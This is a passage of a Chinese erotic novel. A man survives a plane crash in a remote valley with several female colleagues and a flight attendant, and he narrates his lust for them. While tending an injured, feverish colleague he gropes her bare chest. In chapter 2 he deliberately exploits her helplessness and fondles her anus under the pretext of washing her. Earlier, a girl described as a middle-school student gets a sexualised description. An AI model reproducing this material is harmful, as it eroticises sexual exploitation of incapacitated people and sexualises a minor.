坠机风流[都市艳情]

 
第01章 大难不死,必有艳福

  我呆呆地跌坐在脏脏的水洼旁边,完全不能置信的抬头望着那卡在树顶上,还在冒着浓烟的半截飞机,心情真的是沉到了谷底。

  上一个小时我还在惬意的靠在宽大舒适的飞机坐位里,喝着从美丽空姐手里接过来的贵价香槟,庆幸着自己怎麽会这麽幸运,竟然在公司的周年晚宴上抽中了大奖,可以跟着一班公司高层乘坐豪华客机到海外旅行……怎知「祸兮福所依」,我们竟然遇上了飞来横祸……飞机遇上了突然而来的大风暴,在乱流中被雷电打中了引擎,劈断了机尾和一边的机翼,在狂飙的龙卷风风暴中不知折腾了多久,最后还一头坠落到这不知名的深山里……回想起刚才当飞机擦过峭壁,冲进了这片一望无际的深绿色大森林时;还没撞到树顶,我便已经在响彻整个机舱的尖叫声中,连人带座位的从机身破开的断口处被抛到了外面……当时我还以为自己死定了……怎知却幸运的刚好掉在一株大树上,坠下时飞机椅又替我挡住了那些中途撞到的树枝,着地时更竟然凑巧的掉进了水洼里……身上虽然擦伤了好几处,但都只是皮外伤,死不了……到我惊魂甫定,恢复神智时,才记起要解开安全带,爬出了水洼。

  我支着还在不停打颤的两条腿,茫然的抬头往上看,只见我们乘坐的飞机已经断开了几截,被卡在那株巨树的树丫中间。我眯起眼睛望到树上,依稀的好像看到了有几个晃动的人影,相信一定是其他的生还者了!

  救人要紧,我咬了咬牙,忍着身上的伤痛,冒险往树上爬去。

  这颗相信要四、五个人才能合抱的巨树可算是我的救命恩人了,要不是它把飞机挡着,飞机一定会直坠到地上爆炸的,到时我们可一个人都逃不掉了!

  我一口气的越爬越高……终于看到了……原来是几个女孩子……我很快便认中了其中一个,竟然是我们公司里的大美女「秦岚岚」。

  说起她可真厉害!虽然她只是今年才考进来的新同事,但凭着出众的容貌和世故的手段,不但很快便攀上了我们公司里的「美女榜」,成为了数一数二的大美女;工作方面,还扶摇直上的连连高升,已经跟把我这个比她多三年经验的前辈同一个职级了……老实说,她真的长得很美……有近一米七的颀长身段,只比我矮了一点点。一张充满了古典韵味的鹅蛋脸,尖尖的下巴,肌肤非常白皙细嫩、晶莹通透的好像翡翠一样。两条修长的柳眉又黑又浓又秀气的……不过最漂亮的,还是她那双总好像带着点高傲和不屑,但却仍然那麽动人心魄的美眸。

  除了卖相够好之外,她的家世和学历也真的不差,听说还是名牌大学的高材生。那些学历或者身高稍逊的男人不要说追求她了,光是站到她面前便马上泄气了。而且这小妮子平时还蛮「酷」的,从来都不会主动跟其他人说话。当然,这只是说那些职位比她低的人;在上司面前她可会有另外一张脸孔,总是装出另一副虚心受教、小鸟依人的样子。我还听说她最喜欢在别人背后打小报告呢!因此她在公司里的人缘并不太好。

  其实我也很瞧不起她在上司面前那副讨好的嘴脸,但是美女谁不爱看,我也抵受不了她的诱惑,也常常会在她背后偷看那婀娜多姿的背影,尤其是她那个圆滚滚、翘挺挺的俏臀;和那顶多只有廿二、三寸的盈握细腰……平时她对我这个半吊子的「前辈」可真是连正眼也没瞧上多少下,但这次却要靠我才把她从树上背了下来。总算第一次听到她说了衷心的多谢!只是她感谢的说话我其实连半句也没听进去,心中只是萦绕着她那丰饶的娇躯趴在我背上那阵美美的感觉……第二个让我背下树来的是「刘涛涛」,她比我大几岁,可算是我们的前辈了。我通常喊她「涛姐姐」的。我在刚刚进公司时已经认识她的了,还记得当我第一眼看到这个成熟妩媚的美女时,心还一直在「卜卜」的狂跳,因为她长得实在太妩媚动人了。转瞬间已经过了三年,去年她还已经嫁了个听说是高干子弟的大款……但岁月却似乎完全没有在她身上留下丝毫的痕迹;她还是一样的娇媚如昔,而且体态还更加撩人了。就算是平时穿着那袭普通的上班套装,但她那挺拔的胸脯、翘翘的丰臀、纤巧的腰肢和那混身优美的曲线,还有她始终留着的那一头乌亮长发,都完全散发出成熟少妇的动人风韵,看得我色心大发的连连绮想。

  尤其是每次当她在我桌子面前一步一步的走过,或者站到我面前跟我说话时,那双水汪汪的大眼、挺正的鼻管、白中透红的嫩脸,和因为走路走急了;一呼一吸起伏得特别快的高挺胸脯,都要使我着迷。

  涛姐姐平时待我很和善的,只是我知道她一向都只当我是个小弟弟,而我对她也像姐姐一样,最多也只会在口头上吃吃她的豆腐,从来都不敢真的有甚麽歪念。

  第三个让我背下来的是新来不久的美女接待员「李欣欣」。能够在公司正门充当「花瓶」的位置,她的相貌当然也不错了。一张非常完美的瓜子脸,下巴尖尖的,樱桃小嘴配上一双丹凤眼和长得笔直的小鼻子,不知迷倒了多少男同事。而且这俏皮可爱的小妮子又不怕生,平常也不介意跟我们一班男同事说说笑笑、打打闹闹的,跟我也很合得来。

  这小妮子长得娇小玲珑,身材比较骨感,瘦瘦的不太丰满,胸脯也稍嫌小了一些。不过平时穿起短裙时,那绷得紧紧的小屁股还是蛮诱人的。我背她下来时才发觉她的身子真的很轻,背在身上像几乎没什麽重量似的;不过胸前那双小玉兔原来也份量不轻的啊!以往可能是走漏眼了!

  我一口气把她们三个背了下来之后,匆匆的休息了一下,看到树项上隐隐有点火光的,知道飞机终于起火了。为了争取时间,我又再爬上树去尝试找寻其余的生还者……我爬了一半便听到了些呼救声,循声在其中一截断开的机舱附近的树丫处找到了另外三个女孩。她们其中一个似乎还受了点伤,身上染红了一大片。另外那两个看到离开地面那麽高,也跟之前的几个女人一样吓得手软脚软,根本便不敢自己爬下树去。

  只是,飞机残骸那边的火却已经开始熊熊的烧过来了……我爬到她们那里,才发现原来那个受伤的女孩竟然是跟我同一部门的女同事「刘菲菲」。我赶忙背起了她,又叫另外两个女人不要再等,赶紧跟着我爬下树去。她们虽然都很害怕,满脸的不情愿,但逃命要紧,也顾不那麽多了,鸡手鸭脚的跟着我爬下树去。

  我背上的「刘菲菲」不但是我的女同事,还是我的旧同学。她在学校里是有名的校花,也是我暗恋的对象。这麽多年来我对她的爱慕都没改变过,只是她实在是太优秀了,身边总围着无数的追求者;我这平平无奇的穷小子,不要说妄想得到她的青睐了,根本连靠边站的资格都没有!

  她长得真的很美,一张清纯如水的明星脸,薄薄的樱唇,乌黑的杏眼……但最让人喜爱的还是那温婉柔顺的性格,永远也不会看到她恼怒骂人的。不过她就是太腼腆了,连平时跟男同事说话时都会面红的,因此虽然是不少人的梦中女神,但到现在还是小姑独处的,没有男朋友。

  我很了解她,知道她最吃不消那些脏脏的大男人,因为她有点洁癖,最大的癖好就是洗澡,甚麽时候都总要保持清爽乾净的。难怪她永远都是那麽香喷喷的,乾净纯洁得好像一杯清水一样。

  可是这时,这个从来都不会让男人碰一下的女神,现在却混身无力、整个人软软的伏在我背上。

  刚才在撞机时被碎片割伤了胁下,流了不少血,白色的衬衣上染红了一大片。我背着她这样大动作的爬树,当然会时不时挪动到她的伤口了。她虽然很坚强的忍着没有呼痛,但一张全无血色的俏脸却更形苍白了。

  另外那两个,我认得其中一个叫「孙甜甜」,是我们公司老板的宝贝女儿。这次她也随团跟老爸一块出去旅游,想不到那麽倒霉,竟然搭着了沉船。她好像还是个中学 生,娇小玲珑的幼 齿身材还带着点婴儿肥,长得也算挺可爱,眉目清秀,唇红齿白的,唇上还依稀的还长着点少女的胎毛。

  最后那一个并不是我们公司的同事,而是飞机上的空姐;还是最漂亮的那一个,专门负责接待头等舱的。我记得上机时瞥见过她的名牌,好像是叫「林伶伶」的。她长得又高又漂亮,丰胸圆臀,腰细腿长,一副标准的模特儿身材。俏丽的脸蛋又白又嫩的,笑容也很甜,笑起来时脸上还有两个俏皮的小酒涡。不过这时她那身合身的制服也已经撕得破破烂烂了。

  树顶上的残骸碎片正在七零八落的乱掉下来,有不少还是已经着了火的……我背着一个女孩,领着其他两个,也顾不得再慢慢拨开那些茂密的枝叶了,只能左闪右避的争取时间拚命往下爬,任由头脸手脚被树枝刮伤也不理了。

  我们几个好不容易才落到地上,也没时间慢慢歇息了,马上便拚命的往外跑……才走不多远,便听到了天摇地动的「轰」的一声……把我们几个都震倒在地上。

  回头一看,原来在树顶上断开了几截的飞机终于掉下来、撞在大树下了,还马上爆开了一大蓬火焰,熊熊的烧了起来。大树底下的草地马上变成了一大片火海,空气中顿时弥漫起一股刺鼻的燃油和烤焦的味道……早前我救下来的三个女孩也跑过来跟我们会合了,我们连忙爬起身来,一口气的跑了很远才敢停下,回头望着被火焰完全吞噬了的飞机残骸慢慢的烧成了灰烬,像根本没有存在过似的……几个女孩都忍不住失声的痛哭了起来。

  我们沮丧的站在远处,焦虑的期盼着,希望可以看到还有其他的幸存者逃出来;可惜一直等到飞机完全烧光了,还是连呼叫没听到过一声,相信其他的人在撞机时都死光了……我们几个只是因为幸运地坐在机身的断裂口的附近,在撞机前便已经被抛了出来掉到树上,所以才侥幸的保住了性命。

  森林中非常的潮湿,熊熊的烈火很快便熄灭了,我们的希望也随着那蓬黑烟慢慢的消散。几个人你眼望我眼的,都没了主意。

  这时我背上的刘菲菲梦呓似的嗯了一声,我才猛然记起她受了伤!连忙把她放下,问道:「菲菲,你怎麽了?」她紧皱着眉头,非常虚弱的说:「我……很痛……」说着竟像有点晕眩似的。

  我四周环顾了一下,看到树林其中一边好像比较光亮似的,便咬咬牙,再次背起了快要昏迷的刘菲菲,向着其他众女说:「我们不可以留在这里,得找个可以让她躺下来的地方……」她们无言的望着我……没办法!谁叫我是这里唯一的男人啊!

  我茫无头绪的领着大家在树林中一路走着……这里不知是甚麽地方?四周满是参天的大树,林深树密,郁郁葱葱,地上更长满了到腰那麽高的杂草,根本没有明显的路径,显然不知多少年没人来过的了。

  我们一路跌跌撞撞的走了近半个钟头,才走出了茂密的树林……原来那片亮光是个被树林围绕着的小山坡。可能是土质比较多石的缘故,这里的植物比较疏落,不过四周还是弥漫着厚厚的浓雾,想看远一点都不可以。

  我们还听到了些轻微的水声……于是便循着水声,在山坡的另一面找到了一条不太宽阔的小溪,旁边还有一块比较开扬的小空地。有些清澈的泉水潺潺的从石坡的隙缝中涌出来,在空地旁边形成了一个不大不小的池塘。池塘里的水清澈见底的,水中还零零星星的游着几尾指头般大的无名小鱼。

  我们又在空地附近的山壁上发现了一个天然的山洞。虽然并不太深,但地方也有十多平方米,在那足有六、七米高的洞顶上,还有几个天然的通风孔,所以里面还算很通爽,正好让我们暂作容身之所。

  我领着大家走到洞里,大家都已经很累了,便提议先坐下来歇息一下。我们各人身上也大大小小的擦伤了很多处,顺便也让大家在水池边好好清洗伤口。

  我先把菲菲放在地上,叫其他女孩们替她包扎伤口,自己则跑到外面,用块大树叶盛了些水回来。她胁下的伤口已经没再流血了,但还是必须要先清洗乾净,再包扎一下。否则一个不小心伤口感染了的话,在这蛮荒之地可真是死定的了。

  到我拿了水回来,只见到一班女的还是呆呆的跪在菲菲身边,却谁都没有动手……原来她们当中,只有当空姐的林伶伶懂一点急救。但她看到菲菲身上满是血迹,竟然软手软脚的,始终不敢动手!我无奈的叹了口气,只有硬着头皮、厚着脸皮的自己来了。

  我看了她们一下,见秦岚岚今天穿了袭白色的长裙,也顾不了那麽多了,跟她说了一声,便在她的裙摆上扯下一大块,用来给菲菲包扎。她嘟长了小嘴的,但人命悠关,倒也没有反对。只是如此一来,她那长裙倒变成了一条超短的迷你裙,把她那双修长的美腿都全露了出来,顿时羞得她俏脸绯红的。

  我不知道菲菲的伤势有多重,但她流了那麽多血,染红了大半件白色的衬衣,看起来真的非常吓人,也难怪那几个女来孩会吓得花容失色的。

  我把菲菲抱到接近洞口比较光亮地方,她痛得直在冒汗的,一张俏脸全都皱了起来。然后才小心的解开了她的衫钮,替她褪去了几乎染红了一半的上衣。

  ……看到了,原来她的伤口就在胁下,足足有几寸长,所以才会流那麽多血。幸好伤口不是太深,应该没伤到筋骨。这时她的血已经止住了,不过身上满是血污的,连原本是粉红色的胸罩都变成了腥红色。

  我深吸了口气,屏息静气的伸手到她背后,解开了胸罩的背扣……「啊!」她马上痛得叫了起来……血污把皮肉都黏住了!

  「菲菲,忍一忍,一定要清洁好伤口才成!」我一咬牙,狠心的撕开了那紧贴着皮肉的染血乳罩。她痛得眼泪直冒的,但还是很勇敢的没哼一声。

  这时她的上身已经完全赤裸了,娇嫩的少女身躯无遮无掩的完全呈现了在我面前。胸前那对温软润滑的小玉兔挺拔的耸立着,虽然是沾满了血污,但还是瞧得我心头乱跳、直咽唾液、双手直抖的……当然,我脸上还得装出了一副很镇静的神态……那几个女孩还在不远处监视着的啊!

  「菲菲,很痛吗?」我心痛的问道。

  她咬着牙答道,显然在拚命的忍着痛:「哎……有点……」说时娇躯轻颤,那粉白的赤裸胸脯一抖一抹的,看得我登时甚麽都忘记了。

  她看到我那火灼灼的目光,马上羞恼的道:「你……你……不要看……」全无血色的粉脸上也也泛起了阵阵红晕。她因为失血太多,所以才有些晕眩,但神志还是非常清醒的;这样子被我一个大男人剥光了上衣慢慢的摆弄,自然是羞死了!不过这时也没其他办法,她只得羞涩地闭上双眼,乾脆来个「掩耳盗铃」,眼不见为净就是了。

  我也暗骂了自己几句,连忙吸了几口大气,勉强的定下神来,小心用破布蘸着清水,一点一点的替她清洗着伤口。

  她很乖巧的靠卧在我的大腿上,雪白的娇躯不时因为吃痛的一阵阵颤抖。但是她是很坚强,始终咬牙强忍着没哭出来。

  随着血污慢慢的抹去,她胸前那两团又白又嫩的美丽乳肉马上回复了原来的晶莹剔透,细致得连下面的血管都清晰可见的。粉嫩得跟雪肤几乎分不开来的娇小乳蒂和那一轮小疙瘩似的嫣红乳晕,不断的散发出中人欲醉的淡淡乳香,让我一面抹一面流鼻血。

  只可惜这时正事要紧,我也没心情慢慢去享受这偷香窃玉的香艳滋味。唯有继续目不斜视的,专心替她清理伤口,再用裙布把她的伤口包扎起来。

  包扎时我还是忍不住乘机揩了几下她那赤裸的胸脯;她只是咬了咬樱唇,装作没感觉到;我当然也故作若无没事的了。

  忙完了一大轮之后,阳光已经透过洞顶的气孔照了进来,算起来应该差不多到中午了……我们跑出洞口一看,山谷里的浓雾正开始慢慢的消散,但还是没有完全散去。我们攀到小山坡顶上,只见四周都是高耸入云的巨树,在薄雾中根本看不到边际,很远很远才隐隐约约的看到有些陡峭的山壁……看情形这里是个四面环山的原始深谷,方圆少说也有上百平方亩……要徒步走出走的话,应该机会不大,看来只有安静的等救援队来找我们了!

  稍为安定了下来之后,我们一班死里逃生的人也只能互相安慰的说,应该很快便会派人来救我们,大家尽管放心之类的说话……只是我们心里有数,就算真的有人来拯救我们,但看来要在这儿呆上三两天倒是免不了的了。

  这时虽然正值盛夏,白天当然很炎热,但这里深山幽谷,晚上一定会挺凉的;如果就这样睡石板地,恐怕大家都受不了。因此我便叫她们到附近采集些野草回来,铺在石洞中当床铺。

  我又嘱咐大家千万不要走远,因为刚才一路过来时,我好像看到了几条草蛇……而且这里林深树密,可能还会有其他大型的野兽也说不定。

  ……听到有蛇,几个女孩登时吓得花容失色的。

  她们出去之后,我又把菲菲抱起,安置在洞口附件太阳照到的地方,因为那里比较暖和一点。之后我又吩咐年纪最小的孙甜甜帮忙看护着她,然后自己才出去,在刚才曾经路过的一株大松树上采了些松香、松枝和一大堆厚厚堆积在树下的枯乾松针,拿回山洞里用打火机点着,生了堆火……那几个女人都先后抱着大堆乾草回来了,她们看到那堆火,心中都是一阵温暖,这才坐下来喘了口气。

  这时不知那里传来一阵「咕……咕……」的响声,几个女人马上都抬起头来,可怜巴巴的看着我。

  唉!难道我不饿吗?打从今早吃了早餐之后,大家都已经好半天没东西下过肚,都已是饥肠辘辘的了。

  我环顾了她们一眼,看到她们个个都已经累得软弱无力的,想来也帮不了些甚麽,唯有叹了口气,无可奈何的站了起来。

  我先在树林中折了枝又韧又长的树干,用尖石削尖了,打算当作标枪到林中打猎。

  打猎说起来好像很容易,但其实我也只是个彻头彻尾的城市人,小时候虽然曾经在农村住过几个月,但极其量也只曾试过爬到树上摘些野果和到树林里采些野菜、蘑菇……哪里打过猎啊?因此一路上我虽然真的看到了些野兔、野鸡和獐子之类的小动物,但还没等我准备好,它们便已经跑掉了。

  有几次我倒看到几条比我的大腿还要粗大的的巨蛇,吓得我连动也不敢动;幸好它们也没有攻击我,只是懒洋洋地游过去了。

  我没头没脑的找了好久,眼看太阳也快下山,我也累得走不动了,只有颓然的坐在一颗大树下那些虬须突盘的树根处休息……这时,忽然有只肥肥的獐子自动的跑了过来,还大刺刺的停在我面前不远处,一动不动的盯着我,像根本没把我当回事似的。

  我马上屏住了呼吸,很慢很慢地举起木枪……看准了它用力的掷了过去……呀!真是好狗运!想不到我那乱糟糟的一掷,居然真的把獐子刺中了,还把它钉在地上。

  我连忙扑上去用拔出木枪,再多刺了它几下;它挣扎了两下,便一动不动的了。我兴高彩烈地抱起死去的獐子秤了秤,竟然有四、五斤重。

  到我自豪的托着早在水池里剥了皮、洗乾净的獐子回到山洞时,那班女人登时一阵欢呼。

  烤熟了的獐子肉香气扑鼻的,大家都饥饿地围了上来。

  我用随身的小刀给她们每人都切了一大块,到我自己想吃时,一眼却看到受了伤的菲菲还躺在草垫上,正在眼巴巴地望着我。我连忙也切了一块给她,而且见她行动不便,乾脆发扬一下绅士风度,亲自用手拿着给她吃。

  她尴尬得满脸通红的,但实在太饿了,也不顾仪态,凑着我的手大口大口地吃着。虽然这烧獐子肉没什麽调味,但看得出她吃得很是滋味。

  她的胸罩满是血污,已经不能用了,现在破烂的衬衫里是真空的……她一垂下头,衣领内那肉光四溢的美景登时尽入我的眼帘。那两大团粉嫩再加上嫣红的两点在火光中淹淹漾漾的,看得我直在咽口水。

  我看着菲菲俏美的小嘴一张一张地吃着我递过去的烤肉,还时不时舔到了我的手指,心中忽发奇想的:「要是这张美丽的小嘴吃着的不是我的手指,而是我的大肉棒……那该多好啊!」想着脸上不禁红了一下,腿间的小弟弟也有点儿硬了。

  我吃了一惊,怕让她看到,只有很不自然地扭动了一下。但菲菲的头就挨在我腿边,我裤裆上高高挺起的小金字塔还是马上让她看到了,一张粉脸登时红了起来,她还羞恼的瞟了我一眼……还好,好像没有什麽愠意。

  我喂她吃饱了之后,自己才开始吃。想不到一班女人的胃口那麽好,竟然把整头四、五斤重的烤獐子吃掉了一大半。之后到大家在河边洗擦完毕时,天已经全黑下来了。山洞外面传来了一阵阵啾啾的虫鸣,远处还隐隐约约的有几声狼嗥。

  我见到大家都有些担心,便安慰她们说:「放心吧,洞口燃着火,野兽不敢跑过来的。」几个女人还是很害怕,都远远地睡到了山洞的最深处。菲菲因为身上有伤,挪动不易,所以我也没叫醒她,就让她睡在火堆旁边。我为了方便照顾她和看着火堆,索性也睡在洞口旁边。

  我朦朦胧胧的睡到半夜,忽然被一阵微弱的呻吟声唤醒了,睁眼一看,只见不远处的菲菲脸上潮红了一片,口中不断含糊的呻吟着。

  我先往火里又添了几块木头让火再烧旺点,再走过去摸了摸她的额头……「啊!好烫!」我心里一惊,她发烧了,这可怎麽办?

  这时她在昏迷中摸到我的手,马上一把拉住了我,还虚弱地叫着:「好冷……好冷……」我吓了一跳,回头看看里边几个女人都睡得熟熟的,一点反应也没有……心想:「现在该怎麽办?这时就算叫醒她们也帮不上甚麽的了……」正犹疑间,菲菲已把我拉着,拖倒在她身边柔软的厚草垫上了,虚弱的身子还紧靠进我怀里,口里迷迷糊糊的呢喃着:「抱紧我……我……好冷……好冷……抱紧我……」她整个娇躯都火热热,滚烫烫的,柔软的胸脯紧紧的顶着我的胸口,一双丰腴结实的大腿也紧紧的缠到我身上来。

  我也不忍心推开她,只有像个呆子似的紧紧让她牢牢抱着,连自己的身体不由也躁热起来!

  天哪!想不到今天竟然可以把像天仙一样的她抱在怀里,这可真是我连做梦也未想到过的香艳情景啊!这一刻我真的醉了,双手不自觉的在她丰饶动人的胴体上慢慢抚摸揉捏着,感受着她身上芬芳的天然体香。

  菲菲钻到我怀里之后,似乎安静了下来,很快又昏沉沉的睡着了。

  可我怀抱着这个心仪已久的梦中情人,却是怎也睡不着了!但又不能有更进一步的作为,简直就像是在活活熬刑一般……一直过了好久,到实在太倦了,才迷迷糊糊的拥着她沉沉的睡着了。

  到天快亮了,我听到有点声音,微张开眼,看到秦岚岚摸着黑跑到洞口这方来,想是因为内急想出去解决。但她走到洞口,见到外边还是黑蒙蒙的,又不敢走出去了。她回头看到火堆旁边抱作一团的我和菲菲,似乎十分震惊似的,走过来瞧了一眼,喃喃自语的说了几句,跟着便跑了回去。

  我隐约听到好像是甚麽:「他们……他们怎麽会睡在一起的?真是不要脸……」心中一气,也不想想自己平时对着上司时那烟视媚行的骚样,那才是真的不要脸呢!

  第一章完,下一章(二、屁眼的恶戏:菲菲妹妹)

第02章 屁眼的恶戏:菲菲妹妹

天终于开始亮起来了,我睡得正甜,还在发着跟菲菲共赴巫山的春梦时,忽然被人推醒了。睁眼一看,只见菲菲脸红红的躺在我身边,瞪着一双杏眼,娇羞无限地瞟着我。心里不由大喜的嚷道:「菲菲,你终于醒了……」她见我醒了,马上害羞的伸手想摀住我的嘴。我心中一荡,竟然大胆的伸出舌头,在她掌心舔了一下。她像受惊的兔子似的,连忙缩回了手。

  我压低嗓门问道:「你怎样了?昨晚你发高烧,所以我才会……」菲菲娇羞地点了点头,低声的说:「我已经好多了,只是浑身都没劲……谢谢你!」说着垂下了俏脸。

  我登时松了口气:「那可好了,你可知道昨晚你叫我多担心吗?」菲菲说:「嗯……昨晚我虽然是烧得昏昏沉沉的,但……其实我心中甚麽都明白……我真的……很谢谢你!」说到最后时声音已细不可闻,一张俏脸也已经完全胀红了。

  她见我只是怔怔地望着她,羞急地道:「你……你……你还不回去,会叫她们看见的……」我这才恍然大悟,顾不得欣赏她娇羞的媚态,连忙爬起身,悄悄回到自己那边躺下来……这害羞的小妮子还以为没人知道,没想到我们亲密的样子,其实早已经被秦岚岚瞧去了。

  到天亮了,我们又跑出洞外尝试拨着手机,但都没有成功!这里根本一点信号都没有!

  我在火上热了热昨晚剩的獐子肉,让大家吃饱了。之后我决定再去飞机失事的地方,看看能不能找到些什麽。我又叫空姐林伶伶也跟着去,好有个照应。临走前,我又嘱咐大家到附近再采些野果回来,还叫孙甜甜留下来负责照顾受了伤的菲菲。

  我们循着原路回到了飞机失事的大树下,那儿附近的一大片草都烧光了;但已可能是因为树林里太潮湿的关系,已经有新的草芽冒了出来。而那颗大树他只是在树冠上被薰黑了一大片,烧掉了几个树丫,看上去还是好好的。不留心的话,连烧过的痕迹也不容易看得清楚。

  我们就在附近的长草中四处摸索,林伶伶找到了烧焦了的人类残肢,凭着尸体上烧剩的衣物,她认出了是飞机的机师。我见她猛在流着眼泪,好奇的追问,才知道她的未婚夫就是航班上的副机师……他们原本打算下个月结婚的,怎知……唉……我也不知该怎样安慰她,唯有搂着她让她尽情的痛哭……到她终于安定了下来,我们才再次开始搜索;终于在草丛里找到了好几个摔得破破烂烂的贮物箱,还很幸运的在其中几个里找到了些没烧坏的飞机餐锡箔包和十多瓶蒸馏水,还可以尚可以用的破毛毯和其他杂物……不理了,我一古脑儿的把可能有用的东西都背了回山洞。

  当我们回到山洞时,刘涛涛、秦岚岚、李欣欣几个正在河边兴高采烈的清洗着刚采摘回来的野果。林伶伶看着刚才从肇事现场拾回来的飞机师帽,一个人跑在池边的一块巨石大上愣愣地坐着,不知在想些什麽?我们七个幸存者当中,她跟我们最是陌生,自从飞机出事后,她脸上那副职业性的笑容也再也没出现过,总是怔怔的满怀心事,郁郁寡欢的。

  我也不忍心打扰她,便一个人把东西拖进山洞里。进去后只见到孙甜甜正忙碌的把野草往她自己睡的地方铺平,敢情是昨晚睡得不很舒服了。菲菲却仍然一个人躺在洞口附近,她看到我回来,很是高兴。略显苍白的俏脸上马上绽放出喜悦的笑容,还挣扎着想坐起来。

  我连忙走过去扶起她,笑着说:「菲菲,太好了。刚才我从飞机那里弄回了不少能用的好东西;还有些食物,一会儿让我给你冲杯糖水喝。」她甜甜的一笑,俏脸上涌起一丝难为情的笑容,低声对我说:「谢谢你……我也真的有点口渴了。不过……我……我其实想先出去方便一下……」说着脸红红,好像很难堪似的。

  我一怔,瞪了孙甜甜一眼……不是叫她照顾菲菲的吗?怎麽连她想喝水和去方便也不理了?

  孙甜甜见我望着她,也停下了铺乾草的动作。可能是听到我说拿回了好多东西,还很开心地微笑着。

  我皱了皱眉,低声问菲菲说:「不是叫她照顾你吗?怎麽……?」她苦笑了一下,委屈的道:「她?人家大小姐是老总的女儿,哪里懂得照顾人啊?」我听了心里不由大怒!……可是孙甜甜好歹都是老总的女儿,平时大家对她都只会千方百计的讨好。我虽然不爱奉承她,但见到她时也得毕恭毕敬、满脸笑容的;一时间倒也不想找她的麻烦。

  于是我只是狠狠的瞪了她一眼,把菲菲扶了起来,一面还嘟长了嘴低声的嘀咕着说:「真是的!到了这时候还不知道要互相帮助,还要摆甚麽大小姐臭架子!」孙甜甜虽然听不到我在嘀咕什麽,但直觉也知道我是在骂她,漂亮的小脸不由沉了下来。

  我只装作没看见,搀扶着菲菲走出山洞外,到了洞后的一块大石后面,才让她扶着一块石头站住。

  她害羞的咬着嘴唇,脸红红地看我。我会意地一笑,闪身往回走,边走边笑说:「怎麽了?我们认识了这麽久,你脸红得次数还没今天一天的多呢!」她又红着脸,啐了我一口,好像也笑了。

  过了一会儿,我又听到她在石后轻轻地唤我说:「喂!你……你还在不在?」我应道:「我当然在呢,你方便完了没有?我过来扶你……」菲菲马上焦急的说:「你别……别过来……我……我没有厕纸。」那声音简直像是想哭的样子。

  我听了也是一呆,有些哭笑不得的说:「大小姐啊,这里是甚麽地方……哪里去找厕纸啊?」「那……那我……怎麽办啊?」她颤声的说。

  我想了想,促狭地笑道说:「我昨天方便后倒是用石头来擦的。你放心吧,这儿的石头很乾净,而且都被太阳晒得烫手,擦上去暖暖的,还很舒服的呢。」菲菲被我逗得「格」的一笑,然后又着起急来:「你这死人,倒是想想办法嘛。」听着她像向我撒娇似的,我真的把从心里骚了出来。其实我袋里还有些昨天用剩的破裙布可以用,但是我却有心捉弄她,故作无可奈何地道:「我的大小姐,真的没办法可想嘛,你将就将就吧。」她没作声了,过了一会儿,我听到「咚」的一声,像是抛出一块石头。我猜她真的是照我说的做了,忍不住笑道:「屁……股烫坏了没有?」……其实我是想说屁眼的,只是一时还不敢那麽放肆。

  「滚你的!」菲菲没好气地笑骂我一声,过了好一会儿,她才羞窘地慢慢从大石后挪出头来,还是一脸尴尬的说:「我总觉得没擦……乾净似的,混身都很别扭。」我不假思索地说:「那到水边洗洗好了。」她的脸腾的通红了,咬着嘴唇啐道:「我也想,但我……我……」我马上明白过来,她的伤口在胁下,要蹲下来会有些困难,而且双手也可能够不到背后啊……想着脸上也不禁红了,可是心中还是禁不住怦怦的乱跳……心想这机会可难得啊……我知道识菲菲有洁癖,从来见到她都是乾乾净净的。昨天她身上染了血,现在伤又没好,不能清洗倒也罢了;可是屁股上沾有大解后的秽物,她可一定不能忍受的了!趁着她现在行动不便,正是我趁火打劫、乘机揩油的大好良机啊!

  虽然我是个男的,但我们总算相识多年了;跟其他人比较起来,我跟她倒算是最熟稔的了。只要我的法子用对了,保证她宁愿让我帮忙,也不肯让别的女人帮她清洗下体。

  想到这里,我就故意板起了脸,一本正经地说:「菲菲,咱们是多年的同事兼同学了。我对你说的都是真心话,你要是不同意的,那就当我没说过好了。」她抿了抿唇,诧异地看了我一眼,不知我为什麽这麽郑重,点头道:「你说吧……」我说:「我知道你一向都是很注重清洁的,现在这样子擦不乾净,那里脏脏的,你一定会如坐针毡一样坐立不安。照理来说,我应该让那几个女孩子帮你的。但咱俩是老同学了,我知道你的脾性,只怕你会觉得让那几个陌生人这麽摆弄你……你的……那里,你一定会难堪死了!……不如,就让我来帮你吧!」她的脸更红了,连白晰的粉颈也开始泛红起来,低着头勉强艰难的走了两步……似乎是感觉到那儿好像是更加肮脏了似的,终于还是轻轻喘着气的停了下来:「但……男女授受不亲,这怎麽可以呢?我……我……」她犹豫了一下,始终还是轻轻摇了摇头,美目还是瞟向了远处那班女人。

  「菲菲……我真的没有别的意思的……而且这里也没有别人,离开那儿之后,你只要当什麽都没发生过。」我又补充说:「最重要的,是我的口一定会比那几个三八的女人密得多,这秘密我绝对不会说出去。你觉得怎麽了?」她马上停住了,回想起从前公司里那班小女人之间的流言蜚语,可又真的是叫人不太敢相信她们啊……我马上走上前去,凑到她耳边轻轻地说:「其实昨天我替你包扎伤口时,连你的身体都已经看过、摸过了……你还怕甚麽?就当是在让医生看病吧,没关系的……」我一边说着,一边已经把手轻轻按到了她的腰间。

  她慌乱的想按着我的手,但马上又顿住了,长长的嘘出了一口气,紧紧的闭上了双眼,一张脸红得像火烧一样,敢情已经无声的同意了。

  我心中狂喜,马上一把抱起了她,避开了洞口那班女人,走到小溪比较远一点的地方,找了块可以遮着我们两个的大石头,才轻轻的放下了她,等她吃力的蹲下之后,我才面向着她,伸手到她背后替她褪下长裤,又伸手拉下了她的内裤。

  她全身哆嗦了一下,俏臀上的嫩肉轻轻的颤晃着,双手死死抓紧我的臂膀。漂亮纤秀的手指都因为用力而有些发白了,好像不这麽用力就撑不住自己的身体似的。

  我悄悄的咽了口口水,居高临下的顺着她白嫩光滑的粉背往下窥看,又伸手绕着她的细腰,慢慢的沿着臀沟,爬到她那吹弹得破、毫无瑕疵的美丽小屁屁上。我非常克制的没有四处乱摸……这时候心急只会坏事,必须一步一步,慢慢打破她的心防,以后才可继续有戏可看。

  我摸索着,用手兜了些水,迅速的泼到她的屁眼上。溪水的凉意再加上让男人触摸的刺激感,使她的小菊蕊马上紧紧的收缩了起来。不过她却不敢声张,只是直把头埋藏在我怀里,不让我看见她那张肯定比个苹果还要红的脸蛋。

  我再来回替她清洗了几下,其实应该已经洗得很乾净的了,但我还是继续的用手指在她的肛门上轻轻的抚摸着,感受着那要命的娇嫩和柔软。

